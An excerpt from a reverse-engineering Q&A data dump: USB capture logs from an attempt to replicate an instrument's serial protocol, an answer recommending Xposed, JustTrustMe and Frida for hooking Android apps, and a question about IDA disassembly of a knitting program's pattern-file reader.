&lt;p&gt;12    In  (USB URB Function: 9)   1.015965    59  01 60 00 00 00 00 00 00 00 00&#xA;  00 00 00 01 00 01 42 72 69 67 68 74 65 6e 65 72 73 00 00 00 00 00 00&#xA;  00 00 00 00 00 00 00 00 52 46 55 00 00 00 00 00 4e 00 00 00 00 00 05&#xA;  3f 06 b9  ...............Brighteners..............RFU.....N......?..  &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  0.000705    5   05 01 03 00 f7  .....   &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.223026    7   01 60 05 3c 03 00 00    ..&amp;lt;...  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.015999    61  01 60 00 00 00 00 00 00 00 00&#xA;  00 00 00 00 00 01 00 01 54 72 79 70 74 6f 70 68 61 6e 00 00 00 00 00&#xA;  00 00 00 00 00 00 00 00 00 00 52 46 55 00 00 00 00 00 4e 00 00 00 00&#xA;  00 05 82 06&#xA;  b9    .................Tryptophan...............RFU.....N.........    &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  0.000924    5   05 01 04 00 f6  .....   &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.238712    5   01 60 05 3c 04  ..&amp;lt;.    &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.016021    63  01 60 00 00 00 00 00 00 00 00&#xA;  00 00 00 00 00 00 00 01 00 01 43 34 00 00 00 00 00 00 00 00 00 00 00&#xA;  00 00 00 00 00 00 00 00 00 00 00 00 52 46 55 00 00 00 00 00 4e 00 00&#xA;  00 00 00 01 47 02&#xA;  bd    ...................C4.......................RFU.....N......G..  &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  0.000253    5   05 01 05 00 f5  .....   &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.239318    10  01 60 05 3c 05 00 00 00 00&#xA;  00    ..&amp;lt;......   &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.016044    58  01 60 00 00 00 00 00 00 00 00&#xA;  00 00 01 00 01 43 35 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;  00 00 00 00 00 00 00 52 46 55 00 00 00 00 00 4e 00 00 00 00 00 01 45&#xA;  02 bd .`.............C5.......................RFU.....N......E..  &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  0.000724    5   05 01 06 00 f4  .....   &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.239014    7   01 60 05 3c 06 00 00    ..&amp;lt;...  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   1.016014    61  01 60 00 00 00 00 00 00 00 00&#xA;  00 00 00 00 00 01 00 01 43 36 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;  00 00 00 00 00 00 00 00 00 00 52 46 55 00 00 00 00 00 4e 00 00 00 00&#xA;  00 01 43 02&#xA;  bd    .................C6.......................RFU.....N......C..    &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  0.000268    5   05 01 07 00 f3  .....   &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.255336    55  01 60 05 3c 07 00 00 00 00 00&#xA;  00 00 00 00 00 00 00 00 00 00 00 00 00 44 65 70 74 68 00 00 00 00 00&#xA;  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 43 00 00 00 00&#xA;  00    ..&amp;lt;...................Depth.....................C.....  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.015864    13  01 60 00 00 00 00 00 00 00 02&#xA;  0f 03 bc  ............    &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  1.009433    4   00 00 00 00 ....    &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.013163    6   01 60 00 00 00 00   .....   &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  1.011897    4   00 00 00 00 ....    &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.010717    6   01 60 00 00 00 00   .....   &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  1.011300    4   00 00 00 00 ....    &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.011293    6   01 60 00 00 00 00   .....&#xA;  (idling at this point... )&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's my program/instrument log @ 57600 baud:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;&lt;strong&gt;Id Type    Time    Length  Hex Ascii&lt;/strong&gt; &lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  0.000000    4   00 00 00 00 ....    &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.001779    7   01 68 30 00 ce 00 30    .h0...0 &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.027282    70  01 60 e0 e7 3e fe 3e c0 fe 07&#xA;  80 30 f8 98 fe 3e 0e f8 07 83 ce 06 0e f0 0e 00 30 1e ce e6 78 83 f0&#xA;  0e fe 18 80 30 e0 30 00 30 3e 06 f8 30 00 30 1e 98 0e 1e e7 f0 18 3e&#xA;  e0 98 00 f0 30 e0 ce 00 01 60 30 00 f0&#xA;  f0    ...&gt;.&gt;....0...&gt;..........0...x......0.0.0&gt;..0.0.......&gt;....0....0...&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  2.699018    4   00 00 00 00 ....&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000785    3   01 70 00&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.001493    8   01 68 ce 00 30 00 f0 30 &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.015390    9   01 60 e0 ce 00 30 00 f0 f0&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  1.669796    4   00 00 00 00 &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000797    3   01 70 00&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.001374    8   01 68 ce 00 30 00 f0 30 &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.016017    9   01 60 e0 ce 00 30 00 f0 f0&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  0.573729    4   00 00 00 00&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000870    3   01 70 00    &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.001373    8   01 68 ce 00 30 00 f0 30     &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.015141    9   01 60 e0 ce 00 30 00 f0 f0&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  2.286973    5   09 01 00 00 f6&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000881    3   01 68 c0    &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000244    3   01 60 00    &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.001108    8   01 68 33 00 30 00 f0 30 &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.015015    10  01 60 00 fe e6 00 30 00 f0 f0&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  1.950696    4   01 00 00    &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000805    3   01 68 c0&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000213    3   01 60 00&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.015034    8   01 60 33 00 30 00 f0 f0 &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  0.561288    5   05 01 01 00 f9  &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000797    3   01 68 f0&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000245    3   01 70 00&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.001254    8   01 68 33 00 30 00 f0 30 &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000123    3   01 70 00&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000248    3   01 68 ff&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.015170    8   01 60 c6 00 30 00 f0 f0&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  1.869307    5   05 01 01 00 f9  &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000888    3   01 68 f0&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000250    3   01 60 00&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.001117    8   01 68 33 00 30 00 f0&#xA;  30    .h3.0..0    &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000124    3   01 70 00    .p. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000249    3   01 68 ff    .h. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.015890    8   01 60 c6 00 30 00 f0&#xA;  f0    ...0... &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  3.052994    5   05 01 02 00 f8  .....   &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000804    3   01 68 f0    .h. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000124    3   01 70 00    .p. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.001377    8   01 68 33 00 30 00 f0&#xA;  30    .h3.0..0    &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000123    3   01 60 00    ..  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000125    3   01 68 ff    .h. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.015154    8   01 60 c6 00 30 00 f0&#xA;  f0    ...0... &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;12   Out  (USB URB Function: 9)  2.182100    5   05 01 03 00 f7  .....   &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000870    3   01 68 f0    .h. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.000207    3   01 60 00    ..  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.001265    8   01 68 33 00 30 00 f0&#xA;  30    .h3.0..0    &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12    In  (USB URB Function: 9)   0.015650    10  01 60 00 fe e6 00 30 00 f0&#xA;  f0    .....0...&lt;br&gt;&#xA;  &gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not sure why I can't match the startup routine.  Or match anything else.  I assume I'm missing something big.. I just don't know what.  Any insight helps.  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15419" LastActivityDate="2016-03-16T23:29:22.527" Title="Trying to replicate a serial protocol" Tags="|serial-communication|protocol|usb|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12233" PostTypeId="2" ParentId="12212" CreationDate="2016-03-17T00:52:12.733" Score="9" Body="&lt;p&gt;Use Xposed. Learn the API, is the way you should hook &amp;amp; manipulate Android apps. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Xposed + JustTrustMe&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Xposed module (thx Fuzion24). The method calls you're looking for are in the below source file: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Fuzion24/JustTrustMe/blob/master/app/src/main/java/just/trust/me/Main.java&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/Fuzion24/JustTrustMe/blob/master/app/src/main/java/just/trust/me/Main.java&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Frida (&lt;a href=&quot;http://www.frida.re&quot; rel=&quot;noreferrer&quot;&gt;http://www.frida.re&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After you learn Xposed, move to Frida, use it and study it. Then you will be ready to play with the run-time modification big kids :-) &lt;/p&gt;&#xA;" OwnerUserId="15414" LastActivityDate="2016-03-17T00:52:12.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12235" PostTypeId="1" CreationDate="2016-03-17T07:12:37.700" Score="2" ViewCount="580" Body="&lt;p&gt;I know this is not an answer &quot;Reading stp (Designaknit Stitch Pattern)-Files)&quot;, but i think it is a way to an answer.&lt;br&gt;&#xA;I believe I have the right function found (with ida - i call it testStp), but I do not know exactly what happened. I does not understand Assembler code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attached the beginning of the function and the first jump point.&lt;br&gt;&#xA;First, variables are declared at certain positions (&lt;code&gt;var_84D&lt;/code&gt; ....) where and why ???&lt;br&gt;&#xA;Then the stp file opens.&lt;br&gt;&#xA;What makes &lt;code&gt;test esi esi&lt;/code&gt; ??? a comparison ?? empty file ???&lt;br&gt;&#xA;if ? then &lt;code&gt;jnz short loc_4144FF&lt;/code&gt;&lt;br&gt;&#xA;otherwise &lt;code&gt;mov ebx, 0FFFFFFFDh&lt;/code&gt; || &lt;code&gt;jmp loc_414C93&lt;/code&gt; (exit point from the function ???)  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;fopen&lt;/code&gt; = open file &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;fseek&lt;/code&gt; = set file position   &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ftell&lt;/code&gt; = read current position   &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;fread&lt;/code&gt; = read file   &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;fclose&lt;/code&gt; = close file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mov edi, offset AD7c; &quot;D7c&quot;&lt;/code&gt; - 3 bytes read into string ???&lt;br&gt;&#xA;(Which means offset ... ??)&lt;br&gt;&#xA;&lt;code&gt;mov ecx, 3&lt;/code&gt; ???&lt;br&gt;&#xA;&lt;code&gt;mov esi, [esp + 34h]&lt;/code&gt; ????&lt;br&gt;&#xA;&lt;code&gt;repe CMPSB&lt;/code&gt; 'compare (apparently on &quot;D7c&quot; - the first 3 bytes in the file)&lt;br&gt;&#xA;if ? then &lt;code&gt;jz short loc_41458A&lt;/code&gt;&lt;br&gt;&#xA;otherwise &lt;code&gt;mov ebx, 0FFFFFFFCh&lt;/code&gt; | &lt;code&gt;jmp loc_414C93&lt;/code&gt; (exit point from the function ???)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next I have no idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone can help me and tell me what the individual statements do and also mean to say whether I have the right function found. And what do &lt;code&gt;sub_421CF0&lt;/code&gt; do???  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alfred  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here are the Begin of the sub and the first jump:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004144A8                 align 10h  &#xA;.text:004144B0  &#xA;.text:004144B0 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦  &#xA;.text:004144B0  &#xA;.text:004144B0  &#xA;.text:004144B0 ; int __cdecl TestSTP(int,int,int,char *,int,int)  &#xA;.text:004144B0 TestSTP         proc near               ; CODE XREF: Pattern2Sl4(x,x,x,x,x)+5A1 p  &#xA;.text:004144B0                                         ; CB_CurrentPattern(x,x,x,x)+47B p ...  &#xA;.text:004144B0  &#xA;.text:004144B0 var_84D         = byte ptr -84Dh  &#xA;.text:004144B0 var_84C         = dword ptr -84Ch  &#xA;.text:004144B0 var_848         = dword ptr -848h  &#xA;.text:004144B0 var_844         = dword ptr -844h  &#xA;.text:004144B0 var_840         = dword ptr -840h  &#xA;.text:004144B0 var_83C         = word ptr -83Ch  &#xA;.text:004144B0 var_838         = dword ptr -838h  &#xA;.text:004144B0 var_834         = dword ptr -834h  &#xA;.text:004144B0 var_830         = dword ptr -830h  &#xA;.text:004144B0 var_82C         = dword ptr -82Ch  &#xA;.text:004144B0 var_828         = dword ptr -828h  &#xA;.text:004144B0 var_824         = dword ptr -824h  &#xA;.text:004144B0 var_820         = word ptr -820h  &#xA;.text:004144B0 var_81C         = dword ptr -81Ch  &#xA;.text:004144B0 var_818         = dword ptr -818h  &#xA;.text:004144B0 var_814         = dword ptr -814h  &#xA;.text:004144B0 var_810         = dword ptr -810h  &#xA;.text:004144B0 var_80C         = dword ptr -80Ch  &#xA;.text:004144B0 var_808         = dword ptr -808h  &#xA;.text:004144B0 var_804         = dword ptr -804h  &#xA;.text:004144B0 var_800         = dword ptr -800h  &#xA;.text:004144B0 var_400         = dword ptr -400h  &#xA;.text:004144B0 arg_0           = dword ptr  4  &#xA;.text:004144B0 arg_4           = dword ptr  8  &#xA;.text:004144B0 arg_8           = dword ptr  0Ch  &#xA;.text:004144B0 arg_C           = dword ptr  10h  &#xA;.text:004144B0 arg_10          = dword ptr  14h  &#xA;.text:004144B0 arg_14          = dword ptr  18h  &#xA;.text:004144B0  &#xA;.text:004144B0                 sub     esp, 850h  &#xA;.text:004144B6                 mov     [esp+850h+var_818], 1  &#xA;.text:004144BE                 push    ebx  &#xA;.text:004144BF                 push    esi  &#xA;.text:004144C0                 push    edi  &#xA;.text:004144C1                 push    ebp  &#xA;.text:004144C2                 xor     edi, edi  &#xA;.text:004144C4                 mov     [esp+860h+var_82C], edi  &#xA;.text:004144C8                 mov     [esp+860h+var_80C], edi  &#xA;.text:004144CC                 cmp     [esp+860h+arg_10], edi  &#xA;.text:004144D3                 jnz     loc_41455C  &#xA;.text:004144D9                 mov     eax, [esp+860h+arg_C]  &#xA;.text:004144E0                 push    offset aRb      ; &quot;rb&quot;  &#xA;.text:004144E5                 push    eax             ; char *  &#xA;.text:004144E6                 call    ds:fopen  &#xA;.text:004144EC                 add     esp, 8  &#xA;.text:004144EF                 mov     esi, eax  &#xA;.text:004144F1                 test    esi, esi  &#xA;.text:004144F3                 jnz     short loc_4144FF  &#xA;.text:004144F5                 mov     ebx, 0FFFFFFFDh  &#xA;.text:004144FA                 jmp     loc_414C93  &#xA;.text:004144FF ; ------------------------------------------------  &#xA;.text:004144FF  &#xA;.text:004144FF loc_4144FF:          ; CODE XREF: TestSTP+43 j  &#xA;.text:004144FF                 push    2               ; int  &#xA;.text:00414501                 mov     edi, ds:fseek  &#xA;.text:00414507                 push    0               ; __int32  &#xA;.text:00414509                 push    esi             ; FILE *  &#xA;.text:0041450A                 call    edi ; fseek  &#xA;.text:0041450C                 add     esp, 0Ch  &#xA;.text:0041450F                 push    esi             ; FILE *  &#xA;.text:00414510                 call    ds:ftell  &#xA;.text:00414516                 add     esp, 4  &#xA;.text:00414519                 mov     ebp, eax  &#xA;.text:0041451B                 push    349h  &#xA;.text:00414520                 push    offset aURefKnittingCo ; &quot;U:\\Ref\\Knitting\\Common\\STI.C&quot;  &#xA;.text:00414525                 push    ebp  &#xA;.text:00414526                 push    0  &#xA;.text:00414528                 call    sub_421CF0  &#xA;.text:0041452D                 mov     [esp+870h+var_82C], eax  &#xA;.text:00414531                 add     esp, 10h  &#xA;.text:00414534                 push    0               ; int  &#xA;.text:00414536                 push    0               ; __int32  &#xA;.text:00414538                 push    esi             ; FILE *  &#xA;.text:00414539                 call    edi ; fseek  &#xA;.text:0041453B                 mov     eax, [esp+86Ch+var_82C]  &#xA;.text:0041453F                 add     esp, 0Ch  &#xA;.text:00414542                 push    esi             ; FILE *  &#xA;.text:00414543                 push    1               ; size_t  &#xA;.text:00414545                 push    ebp             ; size_t  &#xA;.text:00414546                 push    eax             ; void *  &#xA;.text:00414547                 call    ds:fread  &#xA;.text:0041454D                 add     esp, 10h  &#xA;.text:00414550                 push    esi             ; FILE *  &#xA;.text:00414551                 call    ds:fclose  &#xA;.text:00414557                 add     esp, 4  &#xA;.text:0041455A                 jmp     short loc_41456E  &#xA;.text:0041455C ; ------------------------------------------------  &#xA;.text:0041455C  &#xA;.text:0041455C loc_41455C:         ; CODE XREF: TestSTP+23 j  &#xA;.text:0041455C                 mov     eax, [esp+860h+arg_10]  &#xA;.text:00414563                 mov     ebp, [esp+860h+arg_14]  &#xA;.text:0041456A                 mov     [esp+860h+var_82C], eax  &#xA;.text:0041456E  &#xA;.text:0041456E loc_41456E:             ; CODE XREF: TestSTP+AA j  &#xA;.text:0041456E                 mov     edi, offset aD7c ; &quot;D7c&quot;  &#xA;.text:00414573                 mov     ecx, 3  &#xA;.text:00414578                 mov     esi, [esp+34h]  &#xA;.text:0041457C                 repe cmpsb  &#xA;.text:0041457E                 jz      short loc_41458A  &#xA;.text:00414580                 mov     ebx, 0FFFFFFFCh  &#xA;.text:00414585                 jmp     loc_414C93  &#xA;.text:0041458A ; ------------------------------------------------  &#xA;.text:0041458A  &#xA;.text:0041458A loc_41458A:             ; CODE XREF: TestSTP+CE j  &#xA;.text:0041458A                 mov     eax, [esp+860h+var_82C]  &#xA;.text:0041458E                 mov     ecx, [esp+860h+var_82C]  &#xA;.text:00414592                 mov     ax, [eax+5]  &#xA;.text:00414596                 mov     dx, [ecx+3]  &#xA;.text:0041459A         mov     word ptr [esp+860h+var_84C+2], ax  &#xA;.text:0041459F            mov     word ptr [esp+860h+var_84C], dx  &#xA;.text:004145A4                 cmp     ax, 46Ah  &#xA;.text:004145A8                 ja      loc_414C8E  &#xA;.text:004145AE                 cmp     dx, 320h  &#xA;.text:004145B3                 ja      loc_414C8E  &#xA;.text:004145B9                 mov     eax, [esp+860h+var_84C]  &#xA;.text:004145BD                 and     eax, 0FFFFh  &#xA;.text:004145C2                 mov     [esp+860h+var_840], eax  &#xA;.text:004145C6                 mov     eax, [esp+860h+var_84C+2]  &#xA;.text:004145CA                 and     eax, 0FFFFh  &#xA;.text:004145CF                 push    363h  &#xA;.text:004145D4                 mov     [esp+864h+var_814], eax  &#xA;.text:004145D8                 push    offset aURefKnittingCo ; &quot;U:\\Ref\\Knitting\\Common\\STI.C&quot;  &#xA;.text:004145DD                 mov     eax, [esp+868h+var_840]  &#xA;.text:004145E1                 imul    eax, [esp+868h+var_814]  &#xA;.text:004145E6                 mov     [esp+868h+var_810], eax  &#xA;.text:004145EA                 add     eax, 411h  &#xA;.text:004145EF                 mov     [esp+868h+var_824], eax  &#xA;.text:004145F3                 push    eax  &#xA;.text:004145F4                 push    0  &#xA;.text:004145F6                 call    sub_421CF0  &#xA;.text:004145FB                 mov     edx, [esp+870h+var_824]  &#xA;.text:004145FF                 mov     [esp+870h+var_830], eax  &#xA;.text:00414603                 add     esp, 10h  &#xA;.text:00414606                 mov     edi, eax  &#xA;.text:00414608                 xor     eax, eax  &#xA;.text:0041460A                 mov     ecx, edx  &#xA;.text:0041460C                 shr     ecx, 2  &#xA;.text:0041460F                 rep stosd  &#xA;.text:00414611                 mov     ecx, edx  &#xA;.text:00414613                 and     ecx, 3  &#xA;.text:00414616                 rep stosb  &#xA;.text:00414618          mov     dx, word ptr [esp+860h+var_84C+2]  &#xA;.text:0041461D                mov     ebx, dword ptr aSti ; &quot;Sti&quot;  &#xA;.text:00414623                 mov     eax, [esp+860h+var_830]  &#xA;.text:00414627                 mov     ecx, eax  &#xA;.text:00414629                 mov     [eax], ebx  &#xA;.text:0041462B                 mov     [eax+4], dx  &#xA;.text:0041462F                 mov     edx, [esp+860h+var_82C]  &#xA;.text:00414633            mov     ax, word ptr [esp+860h+var_84C]  &#xA;.text:00414638                 mov     [ecx+6], ax  &#xA;.text:0041463C                 mov     al, [edx+1Fh]  &#xA;.text:0041463F                 mov     ecx, [esp+860h+var_830]  &#xA;.text:00414643                 test    al, al  &#xA;.text:00414645                 jnz     short loc_414656  &#xA;.text:00414647                 mov     word ptr [ecx+8], 20h  &#xA;.text:0041464D                 add     ecx, 8  &#xA;.text:00414650                 mov     [esp+860h+var_828], ecx  &#xA;.text:00414654                 jmp     short loc_414668  &#xA;.text:00414656 ; ------------------------------------------------  &#xA;.text:00414656  &#xA;.text:00414656 loc_414656:             ; CODE XREF: TestSTP+195 j  &#xA;.text:00414656                 movsx   ax, al  &#xA;.text:0041465A                 add     ax, 100h  &#xA;.text:0041465E                 add     ecx, 8  &#xA;.text:00414661                 mov     [ecx], ax  &#xA;.text:00414664                 mov     [esp+860h+var_828], ecx  &#xA;.text:00414668  &#xA;.text:00414668 loc_414668:         ; CODE XREF: TestSTP+1A4 j  &#xA;.text:00414668                 mov     eax, [esp+860h+var_82C]  &#xA;.text:0041466C                 mov     al, [eax+2Ch]  &#xA;.text:0041466F         mov     byte ptr [esp+860h+var_820], al  &#xA;.text:00414673                 cmp     al, 0Eh  &#xA;.text:00414675                 jz      short loc_41467F  &#xA;.text:00414677                 cmp     al, 0Fh  &#xA;.text:00414679                 mov     [esp+860h+var_84D], al  &#xA;.text:0041467D                 jnz     short loc_414684  &#xA;.text:0041467F  &#xA;.text:0041467F loc_41467F:          ; CODE XREF: TestSTP+1C5 j  &#xA;.text:0041467F                 mov     [esp+860h+var_84D], 0  &#xA;.text:00414684  &#xA;.text:00414684 loc_414684:          ; CODE XREF: TestSTP+1CD j  &#xA;.text:00414684                 mov     ecx, [esp+860h+var_830]  &#xA;.text:00414688            mov     al, byte ptr [esp+860h+var_820]  &#xA;.text:0041468C                 mov     dl, [esp+860h+var_84D]  &#xA;.text:00414690                 add     ecx, 410h  &#xA;.text:00414696                 mov     ebx, [esp+860h+var_830]  &#xA;.text:0041469A                 mov     esi, [esp+860h+var_82C]  &#xA;.text:0041469E                 add     ebx, 10h  &#xA;.text:004146A1                 add     esi, 0F8h  &#xA;.text:004146A7                 mov     [esp+860h+var_848], ecx  &#xA;.text:004146AB                 push    offset WindowName  &#xA;.text:004146B0                 mov     byte ptr [ecx-406h], 0  &#xA;.text:004146B7                 mov     [ecx-405h], al  &#xA;.text:004146BD                 mov     [ecx-405h], dl  &#xA;.text:004146C3                 mov     ecx, [esp+864h+var_82C]  &#xA;.text:004146C7                 push    ecx  &#xA;.text:004146C8                 call    sub_41D5A0  &#xA;.text:004146CD                 mov     eax, [esp+868h+var_84C+2]  &#xA;.text:004146D1                 mov     [esp+868h+var_808], esi  &#xA;.text:004146D5                 add     esp, 8  